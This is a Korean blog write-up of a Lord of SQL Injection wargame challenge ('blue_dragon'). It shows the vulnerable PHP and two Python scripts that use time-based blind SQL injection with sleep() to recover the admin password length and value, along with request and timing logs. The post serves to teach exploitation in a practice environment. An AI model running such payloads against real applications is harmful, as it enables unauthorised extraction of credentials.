Oh! JUN
[Lord Of SQL Injection] 27번(sleep()함수를 활용해 시간 차 출력) 본문
[Lord Of SQL Injection] 27번(sleep()함수를 활용해 시간 차 출력)
Kwon Oh! JUN 2022. 3. 6. 18:11query : select id from prob_blue_dragon where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
기존문제들과 다른점 있다면
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
쿼리에 들어는 가는데 ', \ 사용하면 exit되어서 Hello admin 또는 Hello guest를 확인할 수가 없다.
그래서 다른 방법으로 출력을 통해 참과 거짓을 판단할 수 있어야하는데 여기서는 sleep()함수를 사용해서 결과물이 출력되기까지 걸리는 시간을 비교하여 참과 거짓을 판단할것이다.
★ 패스워드 길이
import string
import requests
import time
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookie = dict(PHPSESSID="p7n4vui95pcq3j0tjff7lrgfgj")
asc = string.digits+string.ascii_letters
result = ""
for i in range(1, 100):
param = "?id=admin' and if(length(pw)='"+str(i)+"', sleep(3), 0) %23"
res_url = url+param
before = time.time()
response = requests.get(res_url, cookies=cookie)
after = time.time()
print(param)
print(str(i)+" : "+str(after - before))
if after - before > 3:
print(i)
break
print("pw의 길이: "+str(i))
?id=admin' and if(length(pw)='1', sleep(3), 0) %23
1 : 0.32494115829467773
?id=admin' and if(length(pw)='2', sleep(3), 0) %23
2 : 0.26311779022216797
?id=admin' and if(length(pw)='3', sleep(3), 0) %23
3 : 0.15965533256530762
?id=admin' and if(length(pw)='4', sleep(3), 0) %23
4 : 0.2677326202392578
?id=admin' and if(length(pw)='5', sleep(3), 0) %23
5 : 0.26026058197021484
?id=admin' and if(length(pw)='6', sleep(3), 0) %23
6 : 0.19182825088500977
?id=admin' and if(length(pw)='7', sleep(3), 0) %23
7 : 0.2710087299346924
?id=admin' and if(length(pw)='8', sleep(3), 0) %23
8 : 3.2786200046539307
8
pw의 길이: 8
if(length(pw)='"+str(i)+"', sleep(3), 0)
pw의 길이를 1~99까지 집어넣어서 참이면 sleep(3) 출력하는데 3초의 시간이 걸린다. 아니면 0초 즉 바로 출력한다.
(위에 출력된걸 보면 알겠지만 3초, 0초를 줬다고 해서 딱 그시간에 맞아 떨어지는건 아니다.)
before = time.time()
after = time.time()
time.time()은 현재시간을 나타내는데 그래서
before은 request.get 요청하기전 시간이고 after은 요청 후 이다.
if after - before > 3:
print(i)
break
after - before 요청 후 시간에서 요청 전 시간을 빼주면 출력하는데 걸리는 시간이 된다.
그래서 3초보다 크면 pw의 길이가 출력된다.(3초 보다 같아야되는거 아닌가 할 수 있지만 위에서 언급했다시피 편차가 있어서 크다고 표현하는게 맞다.)
★ 패스워드 값
import string
import requests
import time
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookie = dict(PHPSESSID="p7n4vui95pcq3j0tjff7lrgfgj")
asc = string.digits+string.ascii_letters
result = ""
for i in range(1, 9):
for j in asc:
param = "?id=admin' and if(right(left(pw, "+str(i)+"),1)='"+str(j)+"', sleep(3), 0) %23"
res_url = url+param
before = time.time()
response = requests.get(res_url, cookies=cookie)
after = time.time()
print(param)
print(j+" : "+str(after - before))
if after - before > 3:
print(j)
result = result + j
break
print(result)
.
.
.
?id=admin' and if(right(left(pw, 7),1)='4', sleep(3), 0) %23
4 : 0.31208062171936035
?id=admin' and if(right(left(pw, 7),1)='5', sleep(3), 0) %23
5 : 0.2655777931213379
?id=admin' and if(right(left(pw, 7),1)='6', sleep(3), 0) %23
6 : 0.27481651306152344
?id=admin' and if(right(left(pw, 7),1)='7', sleep(3), 0) %23
7 : 0.25909972190856934
?id=admin' and if(right(left(pw, 7),1)='8', sleep(3), 0) %23
8 : 0.25923991203308105
?id=admin' and if(right(left(pw, 7),1)='9', sleep(3), 0) %23
9 : 0.2585155963897705
?id=admin' and if(right(left(pw, 7),1)='a', sleep(3), 0) %23
a : 3.2814390659332275
a
?id=admin' and if(right(left(pw, 8),1)='0', sleep(3), 0) %23
0 : 3.1829264163970947
0
d948b8a0
if(right(left(pw, "+str(i)+"),1)='"+str(j)+"', sleep(3), 0)
pw의 한 단어씩 string.digits, string.ascii_letters 매칭시켜서 참이면 3초 아니면 0초 즉 바로 출력된다.
query : select id from prob_blue_dragon where id='' and pw='d948b8a0'
BLUE_DRAGON Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 30번(information_schema.processlist : 컬럼 info는 입력한 쿼리가 기록 된다. ) (0) | 2023.02.07 |
---|---|
[Lord Of SQL Injection] 28번(error blind sqlinjection 예외처리: (,),union) (0) | 2022.03.08 |
[Lord Of SQL Injection] 26번(%0a(엔터)로 뒤에 주석 무력화, 이진탐색) (0) | 2022.02.24 |
[Lord Of SQL Injection] N 25번(평문 → ASCII → hex) (0) | 2022.02.18 |
[Lord Of SQL Injection] 24번(이전문제와 비슷하다) (0) | 2022.02.16 |